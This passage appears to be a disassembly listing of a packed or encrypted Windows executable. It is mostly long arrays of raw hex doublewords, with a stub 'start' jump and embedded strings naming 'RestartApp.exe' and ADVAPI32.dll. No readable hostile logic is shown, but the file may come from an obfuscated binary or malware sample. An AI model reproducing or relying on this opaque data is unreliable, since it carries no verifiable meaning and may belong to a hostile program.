		dd 31427578h, 0ADCCC876h, 0CB0FEC00h, 3D32C753h, 0F6CF042Bh
		dd 80E41C60h, 0E1AC5100h, 5C7E6724h, 29D09907h,	0FE609741h
		dd 0BDEC90F3h, 50860B6Fh, 5E03C346h, 89002CAAh,	0BC980C8h
		dd 18D88F5h, 0B60E1CE7h, 0FD2CEF61h, 1AC32AAh, 93C4D7F3h
		dd 2C29777Dh, 0E542F400h, 9D23CC5Bh, 6A568607h,	6FE0E7E8h
		dd 11B4806h, 250579CDh,	322F9A7Dh, 0E0720090h, 17A361E8h
		dd 75E6001Fh, 0C6498A05h, 8E05AC94h, 1C62F902h,	75EAC8Ch
		dd 0B6D6F62Bh, 0DE9570B9h, 0CA3DCD17h, 0F2888008h, 0A55348Ch
		dd 98B10592h, 0C7DA6837h, 0C5E0E2C8h, 22738861h, 64761810h
		dd 0E363AC1h, 0A7B7CA37h, 5540B160h, 900AEB9h, 2E153FDh
		dd 0C6DFF18Ah, 41A8990Ch, 0D5F52617h, 0E47C9EACh, 2B560080h
		dd 3FFDBFF3h, 781360AAh, 0E4209B36h, 1FB1CCEh, 0A41376D5h
		dd 0E45C84B8h, 97752157h, 0BF880401h, 0E24E5118h, 284C5462h
		dd 9955E22h, 0E3600038h, 2C9FA011h, 11F88930h, 51900F67h
		dd 65BB6079h, 0D8F9BFh,	7E540DC2h, 0F59175DBh, 656D1026h
		dd 85B52E00h, 0A6BD2649h, 0D8248388h, 0F23AADh,	576FC6DCh
		dd 83F0D24Dh, 0B86D6100h, 181DD90Ch, 0AB0A183Dh, 9ABDA121h
		dd 0E9387A00h, 68B50DAEh, 926B0063h, 7120DB51h,	0D300A84Ah
		dd 9616FF0h, 0B2FEE2CCh, 8BE32650h, 0EE94074h, 5E5CE49Ah
		dd 0B8717914h, 11D87A00h, 6B19BE6Eh, 35201E1Ah,	0BECE881h
		dd 0A328B80h, 0EB99EC81h, 72E872A8h, 0F9F5EC00h, 4B01E940h
		dd 1D931DA0h, 8BE606F2h, 18007127h, 0C2455674h,	99502A3h
		dd 0F50C994Ch, 0F7CA3810h, 8C6D762Ah, 2D7EFC00h, 0D63C1BE1h
		dd 12E60219h, 0D1607BA7h, 4A019044h, 0DFD04223h, 30106376h
		dd 0F27A32A2h, 930054F8h, 0F9912F1Ah, 1849C3D4h, 71268209h
		dd 0C83F61C5h, 0C72D00E9h, 1D10A27Bh, 4DE1171Eh, 0D3240148h
		dd 201A348Fh, 4068904h,	58E84E52h, 2FAD2A41h, 655B0EC8h
		dd 8887484Fh, 0A0B2070Ch, 0F339D653h, 77D1CE1Ch, 52B880FBh
		dd 0B7E27920h, 4A29F658h, 0ABC52BDh, 28A8F0h, 0B20B3525h
		dd 0D530536Eh, 5A075E65h, 8C940095h, 60F089B6h,	7898FAD6h
		dd 2054C600h, 2398A9Eh,	879007AFh, 0C0FF43EDh, 50C22221h
		dd 5CEE4E18h, 882CA8B9h, 0C91EBEFAh, 594E6E39h,	0A954A02Eh
		dd 0C95E9DBh, 307329A1h, 609E76A1h, 0C46BB280h,	903B8h
		dd 99FA669Dh, 93A3F37Dh, 0BD85D409h, 8B24821Fh,	40BC205Fh
		dd 0C2042E7Fh, 0F3A327FFh, 2A96ABC0h, 42DA01F5h, 88219781h
		dd 684ACC23h, 0B89A182Eh, 2FCCC740h, 0A945017Fh, 1CB78093h
		dd 0EAF7F88Dh, 0BA89B101h, 7682CC0Eh, 12016862h, 0F98A93C2h
		dd 8D5ED038h, 0DAF8F8A4h, 2DC54001h, 695A22C6h,	0AE685680h
		dd 70F55312h, 3F0A4309h, 0BB9C9818h, 2C280774h,	5065C9FAh
		dd 9006FDC5h, 0B2585D1Ch, 6699D389h, 2AD13CA0h,	11561E18h
		dd 5C013D65h, 1DC4CD9Bh, 84C0E6B7h, 0D0BE1C1Bh,	1E526Ah
		dd 8940EF34h, 6C9224A8h, 1AE3C002h, 0C0CD66A9h,	1404D2Ch
		dd 656D809h, 5225A763h,	0D0C49AE0h, 95FC2F00h, 220DC697h
		dd 4C69EC72h, 0E90870F5h, 0CA1DF110h, 0C00FE93h, 923DF752h
		dd 0E73F84F8h, 0D0820061h, 0C2BC2B7Dh, 40D896E0h, 0FC4F7E75h
		dd 0FA47A501h, 92872C1Fh, 294A4870h, 80D824E1h,	1495A10Ah
		dd 26372C7Ah, 66C0A9ACh, 1FF0E332h, 1429A75Ah, 80909057h
		dd 18F0FB3Fh, 19539A1Bh, 0F600B0E8h, 22FD6663h,	0F83FC6F5h
		dd 7B2700E3h, 99013A74h, 0BF07F4B9h, 77D46E0Ch,	0BEDD8F80h
		dd 0CF583AD1h, 3D5BAB8Eh, 4607F660h, 0EC162252h, 0A700DCD5h
		dd 4AAC8CD0h, 3077B8h, 609F9A7Ah, 16D599F5h, 0FE819300h
		dd 0AECE6147h, 74915CC9h, 7C412603h, 0E38BCA9Fh, 40747080h
		dd 0BD058800h, 0EAA1195Dh, 9CBB0B0Dh, 89806A68h, 453484D1h
		dd 1EFCC18h, 56B430h, 2F47286Dh, 0DCD091F3h, 3FEC83Ah
		dd 982211D7h, 3948913Ch, 0AC4BB800h, 120B6400h,	0BEB346E6h
		dd 848505F0h, 467683E7h, 312A9884h, 0F19DDC17h,	3FA82D03h
		dd 3E45A8CBh, 21436098h, 944DE72Ah, 809FB33Fh, 5682D129h
		dd 7AB55C1h, 1CD58EF0h,	1534C0E8h, 1A006718h, 0F837D9EEh
		dd 613CD89h, 9812719Ah,	7B07512Bh, 330CD39Fh, 0EC99D4A0h
		dd 275B2CAFh, 8A9D0143h, 81FF7247h, 7A193AF8h, 9C51E0ADh
		dd 19800E52h, 9AC3B918h, 7C001DCCh, 0EC1EDEB4h,	697ED0h
		dd 0F037E855h, 28A71418h, 3641771Dh, 74613F00h,	0E25296EBh
		dd 848C0A9h, 0B1BDA19h,	0FA362F00h, 0B19972C6h,	41610CA4h
		dd 12984EEh, 427CAC00h,	0A3399B80h, 0A87A64D6h,	7E2846F8h
		dd 0E0890029h, 810E82C1h, 6700C2BFh, 1C7CDAA2h,	8E6F4Eh
		dd 8030332Fh, 0AF93DB83h, 1701F3F8h, 0A1EAA2D5h, 49807826h
		dd 0E0B976Dh, 0D70095C5h, 9AD9FF2Bh, 1CA847Eh, 500FE9FAh
		dd 0D010D172h, 2200CDB8h, 120E8652h, 1E409E9Bh,	8AA4E8F7h
		dd 8ABC3DF1h, 80A4E7C9h, 508BC3B5h, 40C3498h, 1C1C77DEh
		dd 0C29D12ACh, 662C0179h, 8009529Fh, 71BD1BE1h,	2858E6E0h
		dd 0FDB1ABh, 136DD14h, 958D9782h, 117A8C92h, 58C6B91Eh
		dd 0C00F720Eh, 29359CD9h, 37850CE2h, 7491A97Ah,	79284118h
		dd 3603F1h, 0DD95CADFh,	0B7DA33E6h, 5406B900h, 2982D21Eh
		dd 0C1760007h, 8CCF2847h, 4660CCA0h, 0D7DE9349h, 80A60E10h
		dd 9407950h, 1783E62Bh,	45135624h, 725EE300h, 1D92062Fh
		dd 0C0E0DDD0h, 913BE1E7h, 29003AA9h, 0CA3E1316h, 0A1E8648h
		dd 851DEC9h, 34AF8080h,	0E87BAB64h, 8B4AEA00h, 0C623F1C9h
		dd 0A3C90F8h, 5165B8E0h, 95F44398h, 26F721A8h, 2730EEFEh
		dd 2232E97Ch, 15F3001Fh, 4F5E87C5h, 0ED07069Eh,	33787BA2h
		dd 8EA8FD80h, 0D1A8A069h, 0CF3F0024h, 0B9DF4B7Eh, 4777378Ch
		dd 0C0D0CD48h, 0E56E6230h, 1DC900A0h, 167C9C88h, 0BB7CB612h
		dd 1CD8700h, 2AF31476h,	0F1B50769h, 14C99553h, 930890E9h
		dd 6800CF1Fh, 0ACAD2DF6h, 6623ECh, 50344721h, 0BD9155Bh
		dd 36080C04h, 0B4809306h, 730937h, 23446A7Fh, 1CF17181h
		dd 5284250Eh, 42144F2h,	2B8208Ch, 4A9912F3h, 6440DA0Bh
		dd 0F903AD91h, 86F4D51Eh, 3EC3C5h, 0CF64E1D1h, 1B173BB9h
		dd 43DDB80Fh, 4079E359h, 6267E8A7h, 231E00E2h, 5469FF0Ah
		dd 0E900A009h, 65CD8647h, 0F9FA27Eh, 0B71F596Bh, 0D9E77F00h
		dd 0BAB07964h, 0E6008091h, 43FAED8Ah, 5AD800B1h, 117251BDh
		dd 89C02EEFh, 0D28948B7h, 2B770053h, 0E2AE241Fh, 0DA094266h
		dd 0FCF0A0h, 99328E7Dh,	13701DD7h, 9F7A83CAh, 800A03Ch
		dd 0E908D92Ch, 0AF09CACh, 9158B4E2h, 41CC1EECh,	98462A8Ch
		dd 71B841h, 0B2E27AABh,	77CF114Bh, 0CA04004Dh, 1EA796Bh
		dd 0B4B87764h, 4CCBAE39h, 0C0F3228Ch, 7796A0E0h, 0C30CA611h
		dd 0E9802805h, 60503E41h, 0D080EEBFh, 0FD6BD4DEh, 0CC1E1D46h
		dd 7E42E783h, 40023F3Eh, 304B8C8Ch, 3A596C47h, 349808A0h
		dd 44981E18h, 2D004A9h,	0F93F13ADh, 0DA409527h,	0B2095AE8h
		dd 70F2A9h, 0F4651850h,	5E6A062Bh, 51F5519Bh, 83279E00h
		dd 3D891BF6h, 0F17E005Bh, 0AD84395Ah, 0D40A92B9h, 60DC1811h
		dd 0EF9A2B80h, 5CB73543h, 0A2008006h, 41FCA911h, 4D397B4Eh
		dd 0CA3900F4h, 7A18724Fh, 802001B7h, 44095D38h,	0C090927Eh
		dd 0F5153030h, 0C9743Bh, 90D79E8Ah, 5076E295h, 27CA7D05h
		dd 0EB051BE4h, 8440EEC9h
		dd 4DAD42A2h, 1C7654h, 0B9CBE04Eh, 73C5B81Fh, 0F8E40D2Ah
		dd 40CF7914h, 0E3BD00F0h, 0C831BA0Ch, 707F3F3Fh, 32B713h
		dd 64C60B9Ch, 0E83FEFF5h, 4DC9BBE1h, 0C8AE0064h, 0B133AC2Fh
		dd 129CFE24h, 1AB3B8Dh,	0A36B25B0h, 8B8C4829h, 4E91A100h
		dd 4F199D14h, 0C25F015Ch, 0D4F3AF45h, 73E441EAh, 0CB3810FFh
		dd 0BCB90381h, 467742D9h, 0A18900C5h, 0A030AD13h, 0ECCA1018h
		dd 0B50289h, 0C5DF9C56h, 50B2D9ACh, 0A02F912Ah,	7C995E00h
		dd 0B8E4A0F4h, 0D09807CBh, 94F95AD6h, 9374C826h, 44E42E00h
		dd 1B8747BEh, 0AA31A1Fh, 20403C22h, 0B018230h, 0E794388Eh
		dd 39806E8Ah, 962B9D12h, 0C0A4CABFh, 2EC150Fh, 5B2500EDh
		dd 4809975Ch, 9E064FDAh, 29E5B07Ah, 0F1715130h,	0FE4DC0h
		dd 433FF8E6h, 653089CDh, 9F520F00h, 2118FA66h, 17B51639h
		dd 2F540071h, 50BAE3F0h, 51935E0Ch, 3ECF49F6h, 3FCCFF9Fh
		dd 969CBE09h, 8E8C6100h, 5E09FD22h, 9998950Bh, 0DEE490FCh
		dd 0A8270248h, 0EE52F1BEh, 36F47020h, 0ABAC040Fh, 0C59C8F2Fh
		dd 29AC087Ch, 75BC6981h, 0CDF41C76h, 7737003Bh,	0F116BA5Bh
		dd 0A8C0338Eh, 0CCECF01Eh, 4B122C85h, 0EBFB07B8h, 0C9C0E29Ah
		dd 0D40088C4h, 762DF8DEh, 0A938A6h, 0EC1366A8h,	1B83FEC5h
		dd 9381F903h, 130451A4h, 7A8DB9h, 99071CA2h, 0AA61D1E7h
		dd 0E8AF79B9h, 88CDB054h, 0FA90830h, 91883360h,	0AD14E261h
		dd 0E86320h, 6F84C5E6h,	9E1ADEh, 0CAA050A3h, 364789C4h
		dd 4A642D16h, 917BCBA8h, 5E3B0180h, 213D51AAh, 3124F094h
		dd 0F301F9E8h, 4581D3C5h, 0E60F719h, 0DA7738B5h, 3026468Fh
		dd 0ACE67CC0h, 820C8E3Fh, 0A90A517Fh, 0B1570021h, 0F6EFCA15h
		dd 0F52A1098h, 0E098C871h, 68926202h, 416517D9h, 7C408E44h
		dd 48839163h, 230DECCCh, 6738FA52h, 472679A4h, 561FE244h
		dd 0DD40F45Eh, 0DB6CFD1Eh, 287E37h, 71521143h, 0DC1AEBE8h
		dd 4692001h, 33FAA6F2h,	0F8113EF0h, 45BA0061h, 71E9124h
		dd 66168DB8h, 4AE0B4E0h, 4F690CBEh, 3031518Eh, 9AF93A1Dh
		dd 0DA17C140h, 50779B8Ch, 6E28F0h, 9F89DF18h, 87F5ADDEh
		dd 0E6CE3B00h, 0D7BF0DB8h, 76511DF3h, 1F97418Bh, 88804B92h
		dd 5730F60h, 443829h, 0F1C79B5Ch, 8200DC06h, 896F51D4h
		dd 1A77801h, 4D5DA2FBh,	80509975h, 0F547A331h, 6B2914h
		dd 36A4595Ah, 920FC286h, 7BCBD200h, 0C3C010A1h,	183E8012h
		dd 50B38100h, 8F2C1A7h,	0A32F0135h, 0B9AA8793h,	0FD58803Fh
		dd 72700D28h, 0FB840026h, 1BC6BEF8h, 80E7664Ah,	0BA23DC49h
		dd 0AE3B2Fh, 0ECD35490h, 2499503Fh, 49628CA8h, 0BBE98000h
		dd 2F5E5473h, 0C0172AAFh, 2EB80034h, 0BF57BBB0h, 7000CC13h
		dd 3F291E8h, 30291D0Ah,	56E93E37h, 1C00F868h, 0AD746417h
		dd 0A1AF7F04h, 0B49C8A24h, 0BE108081h, 0EBDEF82Fh, 65C5E80Ah
		dd 6E03E014h, 1BCAF71h,	7E8D8251h, 0D18828CAh, 0ECAF2020h
		dd 0BAA6D800h, 39F3DA9h, 72D23116h, 0E104F331h,	0D9BCA8h
		dd 80CE0E68h, 1C5857A9h, 8002F178h, 6E85B8C5h, 280068D7h
		dd 63AF6052h, 2918E0EBh, 7F8F97Ch, 1F68918Ah, 0FCCD4521h
		dd 57EBEC98h, 0BD175900h, 0BE3B07CFh, 0C9F203CEh, 0F9D7A9F7h
		dd 7F2315F8h, 60934F3Bh, 1C18BF89h, 0F851F8E5h,	14BCA668h
		dd 8F9EE56h, 2B134701h,	0FC7681DDh, 0D90046D4h,	0CED33906h
		dd 74E12A4h, 778C9EC6h,	2F3CC0F2h, 6F3C31AAh, 4C422425h
		dd 4F7BE260h, 49D92CA7h, 611B183Fh, 0C90EF1BAh,	207A07F2h
		dd 0E90AED06h, 99C2189Bh, 41F44146h, 913D1B70h,	4FF8872Bh
		dd 4856E1DFh, 63CF0321h, 0D1075478h, 0DC9BFB8h,	9C145891h
		dd 775080C4h, 63A14E9h,	995A66C7h, 0FB004147h, 1FCD8717h
		dd 7C9ABFFEh, 99E788ADh, 0CEE9151Ch, 0F358EAC0h, 3D01E6Ah
		dd 3CA9DC16h, 0C9721DFAh, 9A37FF00h, 0CBBAD96h,	0C2940053h
		dd 79ACFAA1h, 0E040D8Bh, 4A6BCD17h, 3ACF5480h, 0A6181D3Fh
		dd 0C67A2074h, 6F791360h, 7036D8Ch, 0E86AB0DDh,	167F31EAh
		dd 0A034C053h, 9E8B1818h, 0E0CB82D9h, 17745Bh, 849DD209h
		dd 4CF03048h, 18A87F00h, 425CC7BDh, 0D51719DEh,	0F18271BAh
		dd 6B8BE4DAh, 695A5600h, 1D28D7CCh, 4F80A845h, 464999Ah
		dd 8055AE29h, 0B7D8AB50h, 2BEF7A02h, 9098200Ah,	138F01A4h
		dd 184D0483h, 0DFED7813h, 0AA0FAD00h, 0A722208Ch, 0C6D4F96Bh
		dd 0D8B0C427h, 3BAC88A9h, 0A02E8200h, 0F5FFE170h, 67D60310h
		dd 0E768E4D4h, 7FD9C1E0h, 16FD8C0h, 0C07C564Dh,	0A474FB90h
		dd 49C03F28h, 37B85A71h, 6FA202E1h, 2BB467D7h, 8B8634A3h
		dd 4C2597C8h, 0AF853A0Fh, 27009CE3h, 14F0151Bh,	8022E7B8h
		dd 0F3C057Bh, 0C0053B3Dh, 66282C23h, 5DED6B00h,	0A4AB5E4Ah
		dd 7A6E3B7Bh, 0E3671301h, 486850B5h, 991CD29Ch,	2C0184Ah
		dd 0E36BB816h, 0E57C39h, 0F5B0A667h, 2FC5CAE9h,	17583A06h
		dd 0F0A96CA8h, 9F024FEh, 7F0780FCh, 0C07C1FDFh,	6290E70Eh
		dd 2542C068h, 436599h, 3AFA58E9h, 0BB5FB0CEh, 44D7FE00h
		dd 0A0A74BB9h, 30450008h, 5CABF5D4h, 0F6A03965h, 0E118BB55h
		dd 0D5315958h, 319100FBh, 0A01EF8E2h, 964C3C6Ch, 0E3B20FCEh
		dd 2830FD78h, 1E02C55h,	0DA2919E1h, 70940C91h, 0B98A7C8h
		dd 458759DDh, 5720B82Bh, 98B1B3C9h, 0D91F50C4h,	945538B6h
		dd 0F6AB2000h, 0A4E56748h, 8C1D9500h, 246699E9h, 0F814F026h
		dd 2864B25Dh, 1D54B633h, 80A6F5A2h, 9431D24Ch, 6C185B02h
		dd 0F720560Ah, 1AD9004Bh, 0DD06C2B9h, 0FB0096A0h, 0EE311623h
		dd 0CE5883E1h, 56A18549h, 705E93D1h, 37306678h,	4E45C1D0h
		dd 0AB0B0788h, 21B81E58h, 48D4328Ch, 0FF03AD9Ch, 0D9C3D185h
		dd 1093B8F1h, 0A58C257h, 94AEBCDFh, 0E3AC5623h,	0E0A6ED80h
		dd 0C8002278h, 75EFF0D4h, 606C6990h, 5351B908h,	5B00E2EDh
		dd 343C041Ch, 0B0DECDh,	7D884B43h, 6083FD41h, 62DFCA00h
		dd 1F0A2539h, 5C68019Dh, 0B6690CB0h, 0C6EB3021h, 1D299661h
		dd 0A2C1671Ah, 8C38C0FFh, 0C56A180Fh, 95762194h, 8F008973h
		dd 9EE730FFh, 0EC1B06F8h, 32DB0A0h, 960D8DB4h, 30078EB8h
		dd 3F931A8Fh, 80035E7h,	34FC520h, 57A0B796h, 59009BC6h
		dd 8B8D1136h, 3ED7F88Ch, 81008FE0h, 954E19DAh, 0F17B3021h
		dd 8CB83F11h, 0A092F500h, 0C464285Dh, 65129F00h, 4B769951h
		dd 632100B3h, 0F10F4862h, 5000717Dh, 0FDC40E1Dh, 1CC15147h
		dd 7AFBDE3Ah, 71D4F618h, 7C01BA1Ah, 305FF83Bh, 20DCB9E5h
		dd 4999076Ah, 0D0BDE40Fh, 71DDE627h, 87B9B063h,	18513976h
		dd 260E16D8h, 75669529h, 8D06BA4Bh, 99B74D64h, 23B800B9h
		dd 0A3F387C2h, 7B00FD31h, 4752A95Ch, 0E517F74h,	503E6A85h
		dd 0F600DD4Bh, 0F2486B3Fh, 5E986D14h, 0F6C30091h, 70027671h
		dd 0C7D3EC35h, 0C0B0C9C1h, 20C132D1h, 1509AA0Bh, 0A03B8F3Ah
		dd 0C7CE3F52h, 0F8B9C080h, 16F139D5h, 48284200h, 0F6C534A4h
		dd 7EBA7E12h, 0F0DE01DFh, 6B47EFB1h, 0FF014BCCh, 80EDFFh
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_56AB30:				; CODE XREF: start:loc_512265j
					; DATA XREF: start:loc_512086o
		jmp	loc_56DF85
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 0AE180F00h, 0
		dd 29AA5400h, 4AA701h, 0C8813E00h, 0B8h, 4 dup(0)
		dd 12FF5400h, 3	dup(0)
		dd 5800h, 7 dup(0)
		dd 80162500h, 7Ch, 82h dup(0)
		dd 12BDEC00h, 7Fh, 8 dup(0)
		dd 0F869C600h, 0B9h, 0
		dd 5A002300h, 5	dup(0)
		dd 81CDDA00h, 7Ch, 5 dup(0)
		dd 80ABDE00h, 7Ch, 0
		dd 78449F00h, 435158h, 0
		dd 20EB1A00h, 5A3E1377h, 3 dup(0)
		dd 0AE8D2000h, 2 dup(0)
		dd 12A3BB00h, 12h dup(0)
		dd 18EB00h, 4 dup(0)
		dd 5A50A400h, 3	dup(0)
		dd 12BDEC00h, 0AE19207Fh, 0
		dd 9000h, 5FFFB000h, 1,	308AD00h, 7 dup(0)
		dd 90EE1800h, 7Ch, 7 dup(0)
		dd 0AE291800h, 0
		dd 7D100h, 0Ah dup(0)
		dd 0C8813E00h, 0B8h, 3 dup(0)
		dd 0B800h, 0C00B0000h, 18C20374h, 24448B00h, 0E8530Ch
		dd 5B000000h, 17C381h, 5C890000h, 44891024h, 0B85B1424h
		dd 0AEFA37h, 448BE0FFh,	0E0FF0424h, 13h	dup(0)
		dd 702800h, 8FFFB000h, 1, 9 dup(0)
		dd 0FB24700h, 84h, 12h dup(0)
		dd 9400h, 12FEF000h, 2 dup(0)
		dd 361F9000h, 0BCh, 0FE81B900h,	0CFh, 2	dup(0)
		dd 0FF860700h, 0FFh, 9 dup(0)
		dd 90EB9400h, 7Ch, 6F146C00h, 83h, 0
		dd 12FF5400h, 13h dup(0)
		dd 0D800h, 7 dup(0)
		dd 0B18B0D00h, 5FFFB000h, 0DD000001h, 77h, 0
		dd 0A70500h, 2 dup(0)
		dd 7800h, 4 dup(0)
		dd 5A638500h, 2	dup(0)
		dd 5B5B0100h, 0
		dd 90EB9400h, 7Ch, 7 dup(0)
		dd 0F110A200h, 47h, 18h	dup(0)
		dd 0AE37EC00h, 7 dup(0)
		dd 689F4400h, 7, 56CD6900h, 0AEFA0300h,	0
		dd 3FFFB000h, 2, 0
		dd 41000000h, 0ED00AC7Eh, 0FFh,	8 dup(0)
		dd 0AEFA0300h, 4C00000h, 3 dup(0)
		dd 5A361200h, 0
		dd 0DE6D8900h, 3Bh, 2 dup(0)
		dd 59DDCC00h, 0
		dd 56E4A300h, 3	dup(0)
		dd 1CFFB000h, 0CC5E3EB5h, 0CBh,	5 dup(0)
		dd 59D79600h, 8	dup(0)
		dd 5C359400h, 43EC00h, 6 dup(0)
		dd 91056D00h, 5FFFB07Ch, 1, 9 dup(0)
		dd 0AE000000h, 4 dup(0)
		dd 817F4500h, 7Fh, 2 dup(0)
		dd 2456900h, 25h, 3 dup(0)
		dd 5A5E7B00h, 56AF5500h, 0Bh dup(0)
		dd 4CFF4B00h, 0D7h, 6 dup(0)
		dd 0F110A200h, 47h, 3 dup(0)
		dd 400E900h, 0AB8B6A00h, 80189800h, 7Ch, 0Bh dup(0)
		dd 80000000h, 7Ch, 0CEE7DC00h, 3Fh, 0
		dd 764AA700h, 0C0h, 5A69B600h, 0
		dd 1CFFB000h, 5BDB21B5h, 6 dup(0)
		dd 0FFF22500h, 0FFh, 2 dup(0)
		dd 0F1D32C00h, 47h, 0
		dd 0F1FDA500h, 0B0h, 0
		dd 87FADD00h, 3Ch, 3 dup(0)
		dd 100h, 801BF600h, 0C855597Ch,	1Ch, 6 dup(0)
		dd 0AE1A4400h, 9 dup(0)
		dd 400E900h, 0
		dd 56002300h, 0
		dd 0DF7FFD00h, 7Fh, 15h	dup(0)
		dd 29AA5400h, 1, 3 dup(0)
		dd 0B18B3200h, 0
		dd 5A348700h, 0F8CD5500h, 2 dup(0)
		dd 5AB02B00h, 19h dup(0)
		dd 5A50B400h, 7	dup(0)
		dd 12FFA400h, 0
		dd 0F2FFFF00h, 77h, 0
		dd 3C7C00h, 5 dup(0)
		dd 3B3F4B00h, 0Dh, 5B8C3E00h, 3	dup(0)
		dd 0FFA49C00h, 0FFh, 7 dup(0)
		dd 801D7700h, 7Ch, 2 dup(0)
		dd 11111100h, 11h, 0
		dd 271000h, 4 dup(0)
		dd 29AA5400h, 1, 0
		dd 0DD003E00h, 7Fh, 9 dup(0)
		dd 0C6E100h, 3 dup(0)
		dd 92929200h, 5A3C7C92h, 5 dup(0)
		dd 24242400h, 24h, 4 dup(0)
		dd 80189800h, 7Ch, 0AEFA0300h, 0
		dd 0E90800h, 5 dup(0)
		dd 0F110A200h, 47h, 4 dup(0)
		dd 36363600h, 36h, 6 dup(0)
		dd 0AE003E00h, 0
		dd 0AE180F00h, 0
		dd 0F1A2C700h, 0Eh, 2 dup(0)
		dd 0AEFA3700h, 0A4365E00h, 0FFh, 0
		dd 0D305E300h, 2Eh, 0
		dd 90EB9400h, 7Ch, 7 dup(0)
		dd 100h, 5AB31D00h, 8 dup(0)
		dd 0AB26B000h, 47h, 0
		dd 80000000h, 7Ch, 85h dup(0)
		dd 90EB9400h, 7Ch, 6 dup(0)
		dd offset dword_417800+58800h
		dd 11h dup(0)
		dd 90EB9400h, 7Ch, 0DAE600h, 7 dup(0)
		dd 5A214300h, 0BE000000h, 4 dup(0)
		dd 90DDF900h, 7Ch, 0
		dd 73655200h, 74726174h, 2E707041h, 657865h, 8 dup(0)
		dd 4FFFB000h, 1, 7 dup(0)
		dd 5A361200h, 2	dup(0)
		dd 36D70E00h, 4Dh, 5A3C7C00h, 4	dup(0)
		dd 0AEFA3700h, 8800h, 0Dh dup(0)
		dd 0F110A200h, 47h, 5 dup(0)
		dd 0DD6BF000h, 77h, 0
		dd 0F8712D00h, 0B9h, 2 dup(0)
		dd 5B8CF900h, 2	dup(0)
		dd 12FF5400h, 0
		dd 100h, 2 dup(0)
		dd 100h, 0Dh dup(0)
		dd 0B000h, 3 dup(0)
		dd 3FFFB000h, 1, 0
		dd 41A8AD00h, 7Eh, 3 dup(0)
		dd 7A114800h, 0F6h, 0
		dd 0FFA49C00h, 0FFh, 5 dup(0)
		dd 0FFAB1300h, 0FFh, 0
		dd 0A91B7200h, 0FFh, 0Bh dup(0)
		dd 17F27700h, 15h, 3 dup(0)
		dd 90EB9400h, 0AE18427Ch, 3 dup(0)
		dd 90EE1800h, 7Ch, 0Ah dup(0)
		dd 8035DC00h, 7Ch, 0Ah dup(0)
		dd 90EB9400h, 7Ch, 0
		dd 90EB9400h, 7Ch, 2 dup(0)
		dd 0F86D9300h, 14h, 14h	dup(0)
		dd 5A002300h, 12h dup(0)
		dd 59E04D00h, 4	dup(0)
		dd 25428400h, 29AA4523h, 1, 3 dup(0)
		dd 5A3C7C00h, 0Bh dup(0)
		dd 0FC491800h, 0FFh, 0
		dd 663800h, 0
		dd 90EE1800h, 7Ch, 0
		dd 29AA2700h, 0A5C38401h, 0FFh,	8 dup(0)
		dd 0EB281000h, 7Ch, 73288300h, 35h, 3 dup(0)
		dd 5A3C7C00h, 1Ah dup(0)
		dd 5A3C8E00h, 5	dup(0)
		dd 764AA700h, 0C0h, 3 dup(0)
		dd 56AF0D00h, 0Ah dup(0)
		dd 5A5F1100h, 0
		dd 0FFC38400h, 56ECA4FFh, 0Bh dup(0)
		dd 26451F00h, 12h, 801BF600h, 7Ch, 0
		dd 80180E00h, 7Ch, 90CDBD00h, 7Ch, 0AEB50800h, 5A214300h
		dd 0
		dd 12BDEC00h, 7Fh, 56002300h, 0FFFFF500h, 0FFh,	11h dup(0)
		dd 0AF42300h, 51h, 2 dup(0)
		dd 0D8BF700h, 52h, 45h dup(0)
		dd 4505FC00h, 7Eh, 3 dup(0)
		dd 0AEA8CF00h, 6 dup(0)
		dd 90EB9400h, 7Ch, 0Ah dup(0)
		dd 0FFFFF500h, 72FFh, 8	dup(0)
		dd 5B742700h, 3	dup(0)
		dd 100h, 0Dh dup(0)
		dd 12FEC800h, 5	dup(0)
		dd 6800h, 5 dup(0)
		dd 0AE1A4400h, 0Eh dup(0)
		dd 809B4700h, 5A21437Ch, 10h dup(0)
		dd 41975E00h, 15h, 3 dup(0)
		dd 874E6800h, 9, 5 dup(0)
		dd 0D7149800h, 22h, 6 dup(0)
		dd 1FFFB000h, 2, 56002300h, 4 dup(0)
		dd 6400h, 5 dup(0)
		dd 0DC5C00h, 3 dup(0)
		dd 6C00h, 5 dup(0)
		dd 10B7E900h, 3	dup(0)
		dd 0D655AC00h, 0FEh, 2 dup(0)
		dd 810A7700h, 7Ch, 4 dup(0)
		dd 5A361200h, 0
		dd 9800h, 4 dup(0)
		dd 5A3C7C00h, 35353500h, 35h, 0Ah dup(0)
		dd 8111DA00h, 7Ch, 8 dup(0)
		dd 0DF5DCD00h, 7Fh, 6F146C00h, 83h, 29AA5400h, 1, 8 dup(0)
		dd 5A3C7C00h, 2	dup(0)
		dd 5A45DF00h, 4	dup(0)
		dd 12FF5400h, 7C00h, 90EB9400h,	56E4A37Ch, 2 dup(0)
		dd 62F75300h, 99h, 5ADC3E00h, 0Ah dup(0)
		dd 3EAA1A00h, 7Eh, 0FB318800h, 0FFh, 2 dup(0)
		dd 90EB9400h, 7Ch, 3 dup(0)
		dd 56002300h, 7	dup(0)
		dd 5A361200h, 0
		dd 400h, 3 dup(0)
		dd 40000000h, 4	dup(0)
		dd 0AE00E800h, 3EAA1A00h, 7Eh, 9 dup(0)
		dd 56B55900h, 2	dup(0)
		dd 5A5E7B00h, 89h dup(0)
		dd 90EB9400h, 5100007Ch, 4 dup(0)
		dd 72B3E900h, 65h, 3 dup(0)
		dd 809A5100h, 7Ch, 5 dup(0)
		dd 5AB31D00h, 9	dup(0)
		dd 90000000h, 0A04D227Ch, 0FDE84884h, 0FFh, 5105FD00h
		dd 0FFh, 0DF5DCD00h, 7Fh, 3 dup(0)
		dd 7200h, 0
		dd 0A9170700h, 0FFh, 5 dup(0)
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737973h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 41h dup(0)
		dd 9C00h, 3 dup(0)
		dd 0B0004600h, 0
		dd 0F194A200h, 0B0004647h, 0
		dd 4CFF4B00h, 0D7h, 0Bh	dup(0)
		dd 0CEE7DC00h, 5A3C7C3Fh, 56CD6900h, 0
		dd 0AEB50800h, 0BA1B4900h, 5Ch,	0
		dd 9000h, 0Ah dup(0)
		dd 90702800h, 0BCh, 2 dup(0)
		dd 5A935A00h, 2	dup(0)
		dd 12FEF000h, 7	dup(0)
		dd 56E8F900h, 2	dup(0)
		dd 0FFFFFE00h, 0FFh, 40h dup(0)
